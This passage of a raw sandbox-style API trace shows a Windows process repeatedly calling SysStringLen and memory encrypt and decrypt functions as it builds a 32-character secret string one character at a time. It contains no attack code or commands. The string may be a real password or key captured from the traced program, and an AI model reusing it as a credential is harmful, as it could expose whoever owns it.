lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.368] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.368] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.368] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.368] SysStringLen (param_1="") returned 0x8 [0138.368] SysStringLen (param_1="w") returned 0x8 [0138.368] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.369] SysStringLen (param_1="␪ᑶ扟璇䛫ꃸ슸瘝") returned 0x8 [0138.369] SysStringLen (param_1="␪ᑶ扟璇䛫ꃸ슸瘝") returned 0x8 [0138.369] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.369] SysStringLen (param_1="wZ") returned 0x8 [0138.369] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.369] SysStringLen (param_1="\x265\xb556\xc15\x2526\x7c31\x101b\x45eb\xb73c") returned 0x8 [0138.369] SysStringLen (param_1="\x265\xb556\xc15\x2526\x7c31\x101b\x45eb\xb73c") returned 0x8 [0138.369] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.369] SysStringLen (param_1="wZY") returned 0x8 [0138.369] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.369] SysStringLen (param_1="\xf405\x5e4e\x39e1\x77ae\xa7f2\xff1b\xb96c\x4431") returned 0x8 [0138.369] SysStringLen (param_1="\xf405\x5e4e\x39e1\x77ae\xa7f2\xff1b\xb96c\x4431") returned 0x8 [0138.369] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.369] SysStringLen (param_1="wZYB") returned 0x8 [0138.369] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.369] SysStringLen (param_1="⩐⸩೦것응헽贗◥") returned 0x8 [0138.370] SysStringLen (param_1="⩐⸩೦것응헽贗◥") returned 0x8 [0138.370] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.370] SysStringLen (param_1="wZYBE") returned 0x8 [0138.370] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.370] SysStringLen (param_1="\xe743\x68de\xb6af\xbf45\xbd04\xd341\x84e6\xa8a9") returned 0x8 [0138.370] SysStringLen (param_1="\xe743\x68de\xb6af\xbf45\xbd04\xd341\x84e6\xa8a9") returned 0x8 [0138.370] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.370] SysStringLen (param_1="wZYBE1") returned 0x8 [0138.370] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.370] SysStringLen (param_1="\x21ba\xafdb\x2cac\x2aec\xa14e\x3c2\x88e9\xba") returned 0x8 [0138.370] SysStringLen (param_1="\x21ba\xafdb\x2cac\x2aec\xa14e\x3c2\x88e9\xba") returned 0x8 [0138.370] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.370] SysStringLen (param_1="wZYBE16") returned 0x8 [0138.370] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.370] SysStringLen (param_1="\xceb0\x9902\x2e88\x9888\x679c\x7518\x9b65\xb0a7") returned 0x8 [0138.370] SysStringLen (param_1="\xceb0\x9902\x2e88\x9888\x679c\x7518\x9b65\xb0a7") returned 0x8 [0138.370] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.371] SysStringLen (param_1="wZYBE16s") returned 0x8 [0138.371] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.371] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba") returned 0x8 [0138.371] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba") returned 0x8 [0138.371] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba") returned 0x8 [0138.371] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba") returned 0x10 [0138.371] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.371] SysStringLen (param_1="wZYBE16sK붎㠘楬Ꭿ땭䡩") returned 0x10 [0138.371] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.371] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\xb955\x39e2\x97a2\xdedc\xf192\x5025\x6d75\x8663") returned 0x10 [0138.371] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\xb955\x39e2\x97a2\xdedc\xf192\x5025\x6d75\x8663") returned 0x10 [0138.371] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.371] SysStringLen (param_1="wZYBE16sKK㠘楬Ꭿ땭䡩") returned 0x10 [0138.371] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.371] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x7053\xda86\xd1c9\xd441\x983f\x3437\x5060\x6931") returned 0x10 [0138.371] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x7053\xda86\xd1c9\xd441\x983f\x3437\x5060\x6931") returned 0x10 [0138.371] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.372] SysStringLen (param_1="wZYBE16sKKN楬Ꭿ땭䡩") returned 0x10 [0138.372] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.372] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x74e6\x41d6\x253e\xaf55\x7142\xc131\x8266\x346e") returned 0x10 [0138.372] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x74e6\x41d6\x253e\xaf55\x7142\xc131\x8266\x346e") returned 0x10 [0138.372] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.372] SysStringLen (param_1="wZYBE16sKKNhᎯ땭䡩") returned 0x10 [0138.372] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.372] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\xb44\xa85b\x991b\xdb1d\x5324\xc1f3\x5cd7\xe90a") returned 0x10 [0138.372] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\xb44\xa85b\x991b\xdb1d\x5324\xc1f3\x5cd7\xe90a") returned 0x10 [0138.372] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.372] SysStringLen (param_1="wZYBE16sKKNhQ땭䡩") returned 0x10 [0138.372] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.372] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x731c\x5dba\x6381\x8e0\x250f\x85ea\xa91e\x4f71") returned 0x10 [0138.372] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x731c\x5dba\x6381\x8e0\x250f\x85ea\xa91e\x4f71") returned 0x10 [0138.372] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.372] SysStringLen (param_1="wZYBE16sKKNhQg䡩") returned 0x10 [0138.372] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.372] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\xec04\xb438\xb3a\x3bbb\x541\x724\x1e4e\x9d6b") returned 0x10 [0138.373] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\xec04\xb438\xb3a\x3bbb\x541\x724\x1e4e\x9d6b") returned 0x10 [0138.373] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.373] SysStringLen (param_1="wZYBE16sKKNhQgP䡩") returned 0x10 [0138.373] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.373] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\xc85a\xdd86\x46f0\x9c8d\x5d1a\x208f\x6e35\xfd00") returned 0x10 [0138.373] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\xc85a\xdd86\x46f0\x9c8d\x5d1a\x208f\x6e35\xfd00") returned 0x10 [0138.373] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.373] SysStringLen (param_1="wZYBE16sKKNhQgPE") returned 0x10 [0138.373] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.373] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca") returned 0x10 [0138.373] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca") returned 0x10 [0138.373] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca") returned 0x10 [0138.373] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca") returned 0x18 [0138.373] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.373] SysStringLen (param_1="wZYBE16sKKNhQgPElᦇ㽊फ़롻儙") returned 0x18 [0138.373] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.373] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\xb2a0\x3dd0\x7578\xc093\xa219\xd3c\x386a\x1e20") returned 0x18 [0138.373] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\xb2a0\x3dd0\x7578\xc093\xa219\xd3c\x386a\x1e20") returned 0x18 [0138.373] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.373] SysStringLen (param_1="wZYBE16sKKNhQgPElf㽊फ़롻儙") returned 0x18 [0138.373] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.374] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x56dc\x634\x861f\xbf78\xd6aa\x3832\xd120\xe229") returned 0x18 [0138.374] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x56dc\x634\x861f\xbf78\xd6aa\x3832\xd120\xe229") returned 0x18 [0138.374] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.374] SysStringLen (param_1="wZYBE16sKKNhQgPElfBफ़롻儙") returned 0x18 [0138.374] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.374] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x7954\xf00e\xb9d7\xdb7c\x8314\x46fb\x44f6\x1a8e") returned 0x18 [0138.374] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x7954\xf00e\xb9d7\xdb7c\x8314\x46fb\x44f6\x1a8e") returned 0x18 [0138.374] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.374] SysStringLen (param_1="wZYBE16sKKNhQgPElfBf롻儙") returned 0x18 [0138.374] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.374] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\xd13f\x2927\x6507\x9d22\xb59e\xc036\xbc83\x7f85") returned 0x18 [0138.374] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\xd13f\x2927\x6507\x9d22\xb59e\xc036\xbc83\x7f85") returned 0x18 [0138.374] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.374] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm롻儙") returned 0x18 [0138.374] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.374] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\xb1c1\xa079\x7aaf\x8f31\xc55d\xedb1\x7964\xc22e") returned 0x18 [0138.374] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\xb1c1\xa079\x7aaf\x8f31\xc55d\xedb1\x7964\xc22e") returned 0x18 [0138.374] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.374] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1儙") returned 0x18 [0138.374] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.374] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\xc0a0\x55e7\xe7fa\x1ac2\x4057\x54c7\xe1c7\x1b0b") returned 0x18 [0138.375] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\xc0a0\x55e7\xe7fa\x1ac2\x4057\x54c7\xe1c7\x1b0b") returned 0x18 [0138.375] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.375] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1P儙") returned 0x18 [0138.375] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.375] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x7bda\x4aff\x2acf\xcac4\x5aac\xc5a4\xfcd7\x4eb9") returned 0x18 [0138.375] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x7bda\x4aff\x2acf\xcac4\x5aac\xc5a4\xfcd7\x4eb9") returned 0x18 [0138.375] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.375] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PW") returned 0x18 [0138.375] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.375] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf") returned 0x18 [0138.375] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf") returned 0x18 [0138.375] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf") returned 0x18 [0138.375] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf") returned 0x20 [0138.375] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.375] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJ埮㞚뤚歋ଃꘜ") returned 0x20 [0138.375] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.375] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\x2191\xd67\x2d93\x6af4\x6c7d\x85b2\x4a72\x6f40") returned 0x20 [0138.375] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\x2191\xd67\x2d93\x6af4\x6c7d\x85b2\x4a72\x6f40") returned 0x20 [0138.375] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.375] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJt㞚뤚歋ଃꘜ") returned 0x20 [0138.375] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.375] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xeb4b\x4fc6\xfd3d\x6141\xb4b7\x50b5\xfa14\x6b67") returned 0x20 [0138.376] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xeb4b\x4fc6\xfd3d\x6141\xb4b7\x50b5\xfa14\x6b67") returned 0x20 [0138.376] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.376] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJth㞚뤚歋ଃꘜ") returned 0x20 [0138.376] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.376] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xc351\xa683\x5800\x27c0\x3d66\x134e\x3872\x8d11") returned 0x20 [0138.376] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xc351\xa683\x5800\x27c0\x3d66\x134e\x3872\x8d11") returned 0x20 [0138.376] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.376] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJthk뤚歋ଃꘜ") returned 0x20 [0138.376] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.376] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\x4af4\x612e\x1cd3\x1e34\xb18c\xdc7a\x1470\x898") returned 0x20 [0138.376] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\x4af4\x612e\x1cd3\x1e34\xb18c\xdc7a\x1470\x898") returned 0x20 [0138.376] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.376] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJthkF歋ଃꘜ") returned 0x20 [0138.376] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.376] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xb06b\xbe5e\x4095\xf11\x3fd9\x3706\xb04\x5879") returned 0x20 [0138.376] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xb06b\xbe5e\x4095\xf11\x3fd9\x3706\xb04\x5879") returned 0x20 [0138.376] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.376] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJthkFQଃꘜ") returned 0x20 [0138.376] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.376] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xec5d\xd98d\x8fcd\x268\xcac9\xb1d2\xc68b\xbbe4") returned 0x20 [0138.376] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xec5d\xd98d\x8fcd\x268\xcac9\xb1d2\xc68b\xbbe4") returned 0x20 [0138.376] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.377] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJthkFQWꘜ") returned 0x20 [0138.377] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.377] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\x1613\x6bf9\x8a32\x2371\x8fad\xb62c\xb578\xd011") returned 0x20 [0138.377] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\x1613\x6bf9\x8a32\x2371\x8fad\xb62c\xb578\xd011") returned 0x20 [0138.377] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.377] SysStringLen (param_1="wZYBE16sKKNhQgPElfBfm1PWJthkFQWA") returned 0x20 [0138.377] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.377] SysStringLen (param_1="\x7943\xbda4\x4b50\x686a\xd76f\xa1f8\xa790\x78ba\x4f65\x19ad\x4c02\x858\x22d1\xacee\xa169\x61ca\x50ac\x57c4\x9f64\x369c\x7dda\x7fde\x4ef8\x96cf\xddbd\x6a13\xe907\xd5e\x4c21\x559b\xfdd2\x7eff") returned 0x20 [0138.377] SysStringLen 